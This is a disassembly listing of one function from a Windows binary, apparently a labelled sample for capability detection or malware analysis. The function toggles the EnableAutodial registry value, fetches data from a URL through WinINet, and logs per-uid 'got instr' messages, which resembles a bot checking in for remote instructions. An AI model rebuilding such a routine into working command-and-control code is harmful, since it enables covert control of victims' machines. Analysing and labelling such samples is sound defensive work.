Function at 0x4034d0
Capabilities:
Create http request
Query or enumerate registry value
Read data from internet
Receive data
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x406988
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x102c
call fcn.004064a0
push ebx
push esi
push edi
mov edi, ecx
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x10], esp
call fcn.00406264
xor ebx, ebx
lea ecx, [ebp - 0x24]
mov dword [ebp - 4], ebx
call fcn.00406264
push 0x40970c
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 1
call sub.MFC42.DLL_CString::CString_1
mov eax, 4
mov byte [ebp - 4], 2
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x20]
mov byte [ebp - 0x11], bl
push eax
push 0xf003f
push ebx
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_Settings
push 0x80000001
mov dword [ebp - 0x34], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40357c
mov ecx, dword [0x409d08]
push ecx
push str.uid:_s_no_internet_settings_key
push 0x409b68
call sub.MFC42.DLL_CString::Format
add esp, 0xc
mov ecx, 0x409c70
push 0x409b68
call fcn.00406010
lea edx, [ebp - 0x28]
lea eax, [ebp - 0x2c]
push edx
mov edx, dword [ebp - 0x20]
lea ecx, [ebp - 0x30]
push eax
push ecx
push ebx
push str.EnableAutodial
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp eax, ebx
je 0x4035c4
push eax
mov eax, dword [0x409d08]
push eax
push str.uid:_s_no_internet_settings_value:_d
push 0x409b68
call sub.MFC42.DLL_CString::Format
add esp, 0x10
mov ecx, 0x409c70
push 0x409b68
call fcn.00406010
cmp dword [ebp - 0x2c], ebx
je 0x403612
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x30]
lea edx, [ebp - 0x34]
push ecx
mov ecx, dword [ebp - 0x20]
push edx
push eax
push ebx
push str.EnableAutodial
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp eax, ebx
je 0x403612
mov edx, dword [0x409d08]
push eax
push edx
push str.uid:_s_fail_to_change_internet_setting:_d
push 0x409b68
call sub.MFC42.DLL_CString::Format
add esp, 0x10
mov ecx, 0x409c70
push 0x409b68
call fcn.00406010
mov esi, dword [ebp + 8]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 4], 3
mov eax, dword [esi]
push eax
push ecx
push str.ag:_s_strt_gi:_s
push 0x409b68
call sub.MFC42.DLL_CString::Format
add esp, 0x10
mov ecx, 0x409c70
push 0x409b68
call fcn.00406010
lea edx, [ebp - 0x24]
mov ecx, edi
push edx
call fcn.00403c40
push 0x409634
lea ecx, [ebp - 0x18]
call fcn.004062e2
mov eax, dword [ebp - 0x24]
push ebx
push ebx
push ebx
push ebx
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0x409630
lea ecx, [ebp - 0x18]
mov edi, eax
call fcn.004062e2
cmp edi, ebx
jne 0x4036b1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [0x409d08]
push eax
push ecx
push str.uid:_s_no_iss:_d
push 0x409b68
call sub.MFC42.DLL_CString::Format
add esp, 0x10
mov ecx, 0x409c70
push 0x409b68
call fcn.00406010
jmp 0x4038d2
mov eax, dword [esi]
push ebx
push 0x80000000
push 0xffffffffffffffff
push ebx
push eax
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
push 0x409618
lea ecx, [ebp - 0x18]
mov esi, eax
call fcn.004062e2
cmp esi, ebx
jne 0x40373c
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x2ee3
mov dword [ebp + 8], eax
jne 0x403706
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x103c]
push edx
lea ecx, [ebp + 8]
push eax
push ecx
mov dword [ebp - 0x1c], 0x400
call dword [sym.imp.WININET.dll_InternetGetLastResponseInfoA]
mov eax, dword [ebp + 8]
mov edx, dword [0x409d08]
push eax
push edx
push str.uid:_s_no_ifl:_d
push 0x409b68
call sub.MFC42.DLL_CString::Format
mov eax, dword [ebp + 8]
add esp, 0x10
mov ecx, 0x409c70
mov dword [0x409e6c], eax
push 0x409b68
call fcn.00406010
jmp 0x4038d2
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x103c]
push ecx
push 0x1000
push edx
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
push 0x409600
lea ecx, [ebp - 0x18]
call fcn.004062e2
lea eax, [ebp - 0x103c]
mov ecx, 0x409d04
push eax
call fcn.004062e2
push 0x4095fc
lea ecx, [ebp - 0x18]
call fcn.004062e2
push 0x4095f8
mov ecx, 0x409d04
call sub.MFC42.DLL_CString::operator_1
push 0x4095f4
lea ecx, [ebp - 0x18]
call fcn.004062e2
mov ecx, dword [0x409d04]
mov edx, dword [0x409d08]
push ecx
push edx
push str.uid:_s_got_instr_42:_s
push 0x409b68
call sub.MFC42.DLL_CString::Format
add esp, 0x10
mov ecx, 0x409c70
push 0x409b68
call fcn.00406010
mov eax, dword [ebp - 0x1c]
push ebx
push eax
mov ecx, 0x409d04
call sub.MFC42.DLL_CString::SetAt
push 0x4095d8
lea ecx, [ebp - 0x18]
call fcn.004062e2
mov ecx, dword [0x409d04]
mov edx, dword [0x409d08]
push ecx
push edx
push str.uid:_s_got_instr:_s
push 0x409b68
mov dword [0x409e6c], ebx
call sub.MFC42.DLL_CString::Format
add esp, 0x10
mov ecx, 0x409c70
push 0x409b68
call fcn.00406010
push 0x4095c0
lea ecx, [ebp - 0x18]
call fcn.004062e2
push 0x4095bc
lea ecx, [ebp - 0x18]
mov byte [ebp - 0x11], 1
call fcn.004062e2
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push 0x4095b8
lea ecx, [ebp - 0x18]
call fcn.004062e2
push edi
call esi
jmp 0x4038d2
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 4], 2
cmp eax, ebx
je 0x403928
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x30]
lea eax, [ebp - 0x2c]
push edx
mov edx, dword [ebp - 0x20]
push eax
push ecx
push ebx
push str.EnableAutodial
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp eax, ebx
je 0x403928
push eax
mov eax, dword [0x409d08]
push eax
push str.uid:_s_fl_cls_a_d:_d
push 0x409b68
call sub.MFC42.DLL_CString::Format
add esp, 0x10
mov ecx, 0x409c70
push 0x409b68
call fcn.00406010
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x38]
mov dword [ebp - 4], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [ebp - 0xc]
mov al, byte [ebp - 0x11]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 4